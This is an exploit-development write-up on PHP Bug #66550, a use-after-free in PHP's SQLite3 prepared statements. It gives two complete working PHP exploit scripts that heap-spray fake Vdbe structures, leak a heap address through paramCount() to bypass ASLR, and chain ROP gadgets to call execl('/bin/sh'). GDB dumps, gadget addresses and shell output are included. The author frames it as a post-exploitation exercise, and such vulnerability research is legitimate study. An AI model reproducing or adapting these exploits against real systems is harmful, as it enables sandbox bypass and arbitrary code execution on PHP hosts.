Exploiting PHP Bug #66550 – SQLite prepared statement use-after-free – [A local PHP exploit]

As the title says, this bug is useful only for post exploitation to bypass protections when the attacker already has arbitrary PHP code execution. Nevertheless, this was a good exploit exercise.

This SQLite prepared statement use-after-free was reported by Sean Heelan. Here is the link to the bug and detailed analysis Bug 66550 - SQLite prepared statement use-after-free.

The summary as per Sean - The sqlite3_close method, which is used to close a database connection, tears down the sqlite3_stmt objects associated with any prepared statements that have been created using the database. The prepared statements can still be accessed directly after this has occured, leading to a use-after-free condition.

Trigger

Let's check the POC provided by Sean, setting MALLOC_PERTURB_=204

<?php

$db = new SQLite3(':memory:');
$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
// Close the database connection and free the internal sqlite3_stmt object
$db->close();
// Access the sqlite3_stmt object via the php_sqlite3_stmt container
$stmt->reset();

?>


EAX: 0xcccccccc
EBX: 0xb7420f28 --> 0xbae20
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a52e38 --> 0xcccccccc
EDI: 0x0
EBP: 0xb77cb0c8 --> 0x2
ESP: 0xbfffb8a0 --> 0xb77cb0e4 --> 0x0
EIP: 0xb73c290d (: mov eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb73c2907 : test esi,esi
0xb73c2909 : je 0xb73c297d
0xb73c290b : mov eax,DWORD PTR [esi]
=> 0xb73c290d : mov eax,DWORD PTR [eax+0xc]
0xb73c2910 : mov DWORD PTR [esp],eax
0xb73c2913 : call 0xb736fea0
0xb73c2918 : mov eax,esi
0xb73c291a : call 0xb73c18f0

gdb-peda$ bt
#0 0xb73c290d in sqlite3_reset (pStmt=0x8a52e38) at sqlite3.c:64509
#1 0xb742b069 in zim_sqlite3stmt_reset (ht=0x0, return_value=0xb77cb0e4, return_value_ptr=0x0, this_ptr=0xb77cb0c8, return_value_used=0x0)
at /build/buildd/php5-5.5.9+dfsg/ext/sqlite3/sqlite3.c:1316

gdb-peda$ x/100x 0x8a52e38
0x8a52e38: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e48: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e58: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e68: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e78: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e88: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e98: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ea8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52eb8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ec8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ed8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ee8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ef8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52f08: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
Clearly, some freed memory is being accessed.

Heap spray

Now, lets try reallocating the same memory using user controlled data. Allocations done by functions like str_repeat etc uses zend allocator, which goes into a separate mmap'ed region since large malloc requests are serviced using mmap during _zend_mm_alloc_int. Our freed object resides in glibc allocated heap region, so we need some heap operation that re-uses the glibc heap.

So, lets use SQLite operations to try and allocate this region. Idea was to use SQLite insert operations to control the freed structure. I created two databases, one to be freed and another to perform heap spray. Below is the POC.

<?php

error_reporting(0);

$db_spray = new SQLite3(':memory:');
$db_uaf = new SQLite3(':memory:');

$db_spray->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_uaf->exec('CREATE TABLE foo (id INTEGER, bar STRING)');

$stmt = $db_uaf->prepare('SELECT bar FROM foo WHERE id=:id');
$db_uaf->close();

for($i = 0; $i <= 300; $i++){
$id = (string) $i;
$bar = chr($i) . str_repeat("A", 320);
$db_spray->exec("INSERT INTO foo (id, bar) VALUES ({$id},'{$bar}')");
}
$stmt->reset();
?>

EAX: 0x41414141 ('AAAA')
EBX: 0xb7420f28 --> 0xbae20
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a654c0 ('A' ...)
EDI: 0x0
EBP: 0xb77cc198 --> 0x3
ESP: 0xbfffb8b0 --> 0x8a415a0 --> 0xb7421c20 --> 0x3
EIP: 0xb73c290d (: mov eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb73c2907 : test esi,esi
0xb73c2909 : je 0xb73c297d
0xb73c290b : mov eax,DWORD PTR [esi]
=> 0xb73c290d : mov eax,DWORD PTR [eax+0xc]

Danny quickly asked me to use BLOB data type as we could freely use binary data. Cool, using BLOB we have full control over freed structure.

Code Path to Control EIP

So how do we get code execution from here? Let's take a look at the structure we control.

/*
** The "sqlite3_stmt" structure pointer that is returned by sqlite3_prepare()
** is really a pointer to an instance of this structure.
*/

struct Vdbe {
sqlite3 *db; /* The database connection that owns this statement */
Op *aOp; /* Space to hold the virtual machine's program */
Mem *aMem; /* The memory locations */
Mem **apArg; /* Arguments to currently executing user function */
Mem *aColName; /* Column names to return */
Mem *pResultSet; /* Pointer to an array of results */
Parse *pParse; /* Parsing context used to create this Vdbe */
int nMem; /* Number of memory locations currently allocated */
int nOp; /* Number of instructions in the program */
int nCursor; /* Number of slots in apCsr[] */
u32 magic; /* Magic number for sanity checking */
char *zErrMsg; /* Error message written here */
Vdbe *pPrev, *pNext; /* Linked list of VDBEs with the same Vdbe.db */
VdbeCursor **apCsr; /* One element of this array for each open cursor */
Mem *aVar; /* Values for the OP_Variable opcode. */
char **azVar; /* Name of variables */
ynVar nVar; /* Number of entries in aVar[] */
…..
…..
AuxData *pAuxData; /* Linked list of auxdata allocations */
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
i64 *anExec; /* Number of times each op has been executed */
int nScan; /* Entries in aScan[] */
ScanStatus *aScan; /* Scan definitions for sqlite3_stmt_scanstatus() */
#endif
};

We could control the vdbe structure defined in vdbeInt.h after being freed. I analyzed sqlite3_reset routine to take control of EIP but there must be other code paths to achieve the same. Below are the code paths taken, check the comments for details

SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt){
int rc;
if( pStmt==0 ){
rc = SQLITE_OK;
}else{
Vdbe *v = (Vdbe*)pStmt;
sqlite3_mutex_enter(v->db->mutex); // set v->db->mutex to NULL
rc = sqlite3VdbeReset(v); // take this path

int sqlite3VdbeReset(Vdbe *p){
sqlite3 *db;
db = p->db;
sqlite3VdbeHalt(p); // take this path

int sqlite3VdbeHalt(Vdbe *p){
int rc;
sqlite3 *db = p->db;

if( p->db->mallocFailed ){
p->rc = SQLITE_NOMEM;
}
if( p->aOnceFlag ) memset(p->aOnceFlag, 0, p->nOnceFlag);
closeAllCursors(p); // take this path

static void closeAllCursors(Vdbe *p){
if( p->pFrame ){ // set p->pFrame to NULL
VdbeFrame *pFrame;
for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
sqlite3VdbeFrameRestore(pFrame);
p->pFrame = 0;
p->nFrame = 0;
}
assert( p->nFrame==0 );

if( p->apCsr ){ // take this path
int i;
for(i=0; i < p->nCursor; i++){
VdbeCursor *pC = p->apCsr[i];
if( pC ){
sqlite3VdbeFreeCursor(p, pC); // take this path

sqlite3VdbeFrameRestore is very interesting due to its arbitrary read and write as we control the VdbeFrame *pFrame. But I didn't use it

int sqlite3VdbeFrameRestore(VdbeFrame *pFrame){
Vdbe *v = pFrame->v;
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
v->anExec = pFrame->anExec;
#endif
v->aOnceFlag = pFrame->aOnceFlag;
v->nOnceFlag = pFrame->nOnceFlag;
v->aOp = pFrame->aOp;
v->nOp = pFrame->nOp;
v->aMem = pFrame->aMem;
v->nMem = pFrame->nMem;
v->apCsr = pFrame->apCsr;
v->nCursor = pFrame->nCursor;
v->db->lastRowid = pFrame->lastRowid;
v->nChange = pFrame->nChange;
v->db->nChange = pFrame->nDbChange;
return pFrame->pc;
}


void sqlite3VdbeFreeCursor(Vdbe *p, VdbeCursor *pCx){
if( pCx==0 ){
return;
}
sqlite3VdbeSorterClose(p->db, pCx);
if( pCx->pBt ){ // set pCx->pBt to NULL
sqlite3BtreeClose(pCx->pBt);
/* The pCx->pCursor will be close automatically, if it exists, by
** the call above. */
}
else if( pCx->pCursor ){ // set pCx->pCursor to NULL
sqlite3BtreeCloseCursor(pCx->pCursor);
}
#ifndef SQLITE_OMIT_VIRTUALTABLE
else if( pCx->pVtabCursor ){ // take this path
sqlite3_vtab_cursor *pVtabCursor = pCx->pVtabCursor;
const sqlite3_module *pModule = pVtabCursor->pVtab->pModule;
assert( pVtabCursor->pVtab->nRef>0 );
pVtabCursor->pVtab->nRef--;
pModule->xClose(pVtabCursor); // control EIP
}
#endif
}
Now we know the code path to take control of instruction pointer, sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeFreeCursor -> pModule->xClose(pVtabCursor)

We need to setup a series of fake structures such that pModule->xClose and pVtabCursor will point to user controlled data.


struct Vdbe struct sqlite3
[ sqlite3 *db ]-------->[ AAAA ]
[ nCursor ] [ AAAA ]
[VdbeCursor **apCsr]----| [ AAAA ]
[ nVar ] | [sqlite3_mutex *mutex]
|
|--->[apCsr[0] |...| apCsr[n]]
|
|
struct VdbeCursor |
[sqlite3_vtab_cursor *pVtabCursor]
|
struct sqlite3_vtab_cursor |
[sqlite3_vtab *pVtab] /* Virtual table of this cursor */
|
struct sqlite3_vtab |
[sqlite3_module *pModule]
|
struct sqlite3_module |
[int (*xClose)(sqlite3_vtab_cursor*)]

That's EIP control.

ASLR Bypass using Bruteforce

We need to precisely know the address of these fake structures in heap to take the interested code path and get the exploit working. Bruteforcing heap address is always an option, especially in 32 bit environments. In 32 bit environment, zend allocator using mmap will be having lesser entropy compared to the glibc heap. So pointers in struct Vdbe, could point to zend allocated memory to make bruteforce easier. Also since there is no randomization between mmap'ed region, bruteforcing one address should reveal the address of other libraries.

The case is different for 64 bit environment, heap address has less entropy in a non-PIE binary but rest of the regions have good randomization. For PIE binary, heap is also well randomized and bruteforce is not feasible.

ASLR Bypass using Information Leak

But let's see if we can leak some information using the UAF. This is what the documentation says,

(PHP 5 >= 5.3.0)
SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement

public int SQLite3Stmt::paramCount ( void )

And below is the implementation

/*
** Return the number of wildcards that can be potentially bound to.
** This routine is added to support DBD::SQLite.
*/
int sqlite3_bind_parameter_count(sqlite3_stmt *pStmt){
Vdbe *p = (Vdbe*)pStmt;
return p ? p->nVar : 0;
}
By calling paramCount(), we could retrieve the value pointed by p->nVar in the already freed sqlite3_stmt structure. Now if we could perform some operations to pollute/allocate the freed SQLite3Stmt struct, with useful values like pointers, p->nVar can leak that pointer. I triggered a series of SQLlite operations and read $stmt->paramCount() values to get info leak about heap address. Since we have address of heap, fake structures could be setup and further arbitrary read could be achieved using SQLite SELECT statement [didn't explore this though].

Environment


Distributor ID: Ubuntu
Description: Ubuntu 14.04.2 LTS
Release: 14.04
Codename: trusty

$ php -v
PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03)

SQLite3 support => enabled
SQLite3 module version => 0.7-dev
SQLite Library => 3.8.2
Exploit

Below is the exploit to get information leak and code execution bypassing ASLR+NX. Binary is non-PIE, hence I used gadgets from the executable. Even if its PIE, we could bypass this by stretching the info leak. The heap spray and offset may require some tinkering to get it working due to environment changes.

<?php

error_reporting(0);

function pad($num){
return str_repeat(pack("L", 0x00000000), $num);
}

/* For information leak */

$db_spray = new SQLite3(':memory:');
$db_ileak = new SQLite3(':memory:');

$db_ileak->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db_ileak->prepare('SELECT bar FROM foo WHERE id=:id');
$db_ileak->close();

echo("[*] Triggering info leak using UAF". PHP_EOL);
$leaked_address = array();

/* massage heap */
for($i = 0; $i <= 80; $i++){
$db_spray->exec('CREATE TABLE ' .chr($i). str_repeat('A', 0x140 + $i) . ' (id INTEGER, bar STRING)');

/* info leak using paramCount */
$count = $stmt->paramCount();
$res = $count & 0xff000000;
if($res >= 0x08000000 && $res <= 0x0c000000)
array_push($leaked_address, $count);
}

$heap = $leaked_address[0];
echo("[*] Leaked heap address = 0x" . dechex($heap) . PHP_EOL);
$db_spray->close();

/* offset to vdbe struct from leaked address */
$offset = 0x140e8;
$stmt_address = $heap+$offset;
echo("[*] Vdbe statement struct at address = 0x" . dechex($stmt_address) . PHP_EOL);

/* For code execution */

$db_exp = new SQLite3(':memory:');
$db_spray = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
$db_exp->close();

/* setup fake structures */
$pad = 6;
$fake_vdbe = str_repeat(pack("L", 0xdeadbeef), $pad);

$fake_vdbe .= pack("L", $stmt_address+216); # sqlite3 *db
$fake_vdbe .= pad(11);
$fake_vdbe .= pack("L", 0x44444444); # p->nCursor
$fake_vdbe .= pad(4);
$fake_vdbe .= pack("L", $stmt_address+232); # p->apCsr
$fake_vdbe .= pad(36);

# sqlite3 db struct starts here
$fake_vdbe .= pad(3);
$fake_vdbe .= pad(1); # sqlite3_mutex *mutex = NULL
$fake_vdbe .= pack("L", $stmt_address+236); # p->apCsr[0]

# apCsr struct starts here
$fake_vdbe .= pad(1); # pCx->Cursor, sqlite3BtreeCloseCursor
$fake_vdbe .= pad(1); # pCx->pBt, sqlite3BtreeClose
$fake_vdbe .= pad(6);
$fake_vdbe .= pack("L", $stmt_address+300); # apCsr[0]->pVtabCursor
$fake_vdbe .= pad(6);
$fake_vdbe .= pad(1); # pCsr->pSorter

# pVtabCursor
$fake_vdbe .= pack("L", $stmt_address+304); # pVtabCursor->pVtab
$fake_vdbe .= pack("L", $stmt_address+308); # pVtabCursor->pVtab->pModule

# pModule
$fake_vdbe .= pack("L", 0x081a9930); # pop esp; ret
$fake_vdbe .= pack("L", $stmt_address+340); # address to ROP payload
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x086c2e16); # stack pivot, pop esi ; mov bh, 0x03 ; pop esp ; ret
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x08183a4b); # pModule->xClose, mov dword [esp], ecx ; call dword [edx+0x14]

# payload
$fake_vdbe .= pack("L", 0x080965c0); # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= str_repeat("B", 0x214 - strlen($fake_vdbe));

/* heap spray */
for($i = 0; $i <= 200; $i++){
$db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
}

echo("[*] Triggering UAF to get shell". PHP_EOL);
$stmt_exp->reset();

/*
[email protected]:~$ php -f 66550_poc.php
[*] Triggering info leak using UAF
[*] Leaked heap address = 0x9819790
[*] Vdbe statement struct at address = 0x982d878
[*] Triggering UAF to get shell
$
*/
?>
Alternate Code Path

After some analysis, I found another code path which is far more simpler to exploit

static void closeAllCursors(Vdbe *p){

if( p->pFrame ){ // skip this
VdbeFrame *pFrame;
for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
sqlite3VdbeFrameRestore(pFrame);
p->pFrame = 0;
p->nFrame = 0;
}
assert( p->nFrame==0 );

if( p->apCsr ){ // skip this
int i;
for(i=0; inCursor; i++){
VdbeCursor *pC = p->apCsr[i];
if( pC ){
sqlite3VdbeFreeCursor(p, pC);
p->apCsr[i] = 0;
}
}
}
if( p->aMem ){ // skip this
releaseMemArray(&p->aMem[1], p->nMem);
}
while( p->pDelFrame ){ // skip this
VdbeFrame *pDel = p->pDelFrame;
p->pDelFrame = pDel->pParent;
sqlite3VdbeFrameDelete(pDel);
}

/* Delete any auxdata allocations made by the VM */
if( p->pAuxData ) sqlite3VdbeDeleteAuxData(p, -1, 0); // take this path
assert( p->pAuxData==0 );
}


void sqlite3VdbeDeleteAuxData(Vdbe *pVdbe, int iOp, int mask){
AuxData **pp = &pVdbe->pAuxData;
while( *pp ){
AuxData *pAux = *pp;
if( (iOp<0) || (pAux->iOp==iOp && (pAux->iArg>31 || !(mask & MASKBIT32(pAux->iArg)))))
{

if( pAux->xDelete ){
pAux->xDelete(pAux->pAux); // EIP control
New code path is sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeDeleteAuxData -> pAux->xDelete(pAux->pAux) . This is far more easier to control Vdbe->pAuxData->xDelete


struct Vdbe struct sqlite3 [Also a gadget]
[ sqlite3 *db ]-------->[ AAAA ]
[ ] [ AAAA ]
[AuxData *pAuxData ]----| [ AAAA ]
[ ] | [sqlite3_mutex *mutex]
|
| struct AuxData
|--->[ ]
[ ]
[ ]
[xDelete]

Our struct AuxData is very simple, we spray a single address throughout the heap, which is gadget mov dword [esp], edi ; call dword [edi+0x04]. Note that edi points to our vdbe struct ie sqlite3_stmt structure, which we have full control of. So sqlite3_stmt is given as first argument and we make the call [sqlite3_stmt+0x4].

At sqlite3_stmt+4 we have address of gadget pop esi; mov bh,0x03; pop esp; ret. Neat, we will pivot our stack back to our sqlite3_stmt.

But [sqlite3_stmt+0] points to sqlite3 *db struct, such that sqlite3_stmt->sqlite3->mutex should be NULL to avoid the mutex call. So we need to provide an address which will act both as valid struct as well as a neat gadget. This is what I got


gdb-peda$ x/3i 0x8093cbe
0x8093cbe <_init+30>: add esp,0x8
0x8093cc1 <_init+33>: pop ebx
0x8093cc2 <_init+34>: ret
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
Now this gadget will land us right into execl("/bin/sh", NULL) after the stack pivot and hence code execution. Below is the exploit

<?php

error_reporting(0);

function pad($num){
return str_repeat(pack("L", 0x00000000), $num);
}

$db_exp = new SQLite3(':memory:');
$db_spray = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
$db_exp->close();

$pad = 298;
$fake_vdbe = str_repeat(pack("L", 0xdeadbeef), $pad);
$fake_vdbe .= pack("L", 0x08093cbe); # sqlite3 *db

/* acts both as sqlite3 struct and gadget, db->mutex = NULL
gdb-peda$ x/3i 0x8093cbe
0x8093cbe <_init+30>: add esp,0x8
0x8093cc1 <_init+33>: pop ebx
0x8093cc2 <_init+34>: ret
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
*/

$fake_vdbe .= pack("L", 0x086c2e16); # pop esi;mov bh,0x03;pop esp;ret; stack pivot,called by sprayed gadget call dword [edi+0x04]
$fake_vdbe .= pad(2);

# payload
$fake_vdbe .= pack("L", 0x080965c0); # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= pad(46);
$fake_vdbe .= pack("L", 0x0c0c0c0c);
$fake_vdbe .= str_repeat("A", 0x600 - strlen($fake_vdbe));

echo("[*] Reallocating freed memory". PHP_EOL);
/* heap spray */
for($i = 0; $i <= 300; $i++){
$db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
}

echo("[*] Heap spraying the gadget". PHP_EOL);
$spray = str_repeat(pack("L", 0x08189c6f), 0x40000); # mov dword [esp], edi ; call dword [edi+0x04]; edi points to vdbe struct

for($i = 0; $i <= 300; $i++){
$db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($spray) . "')");
}
echo("[*] Triggering UAF to get shell". PHP_EOL);
$stmt_exp->reset();

?>
Thats a long writeup!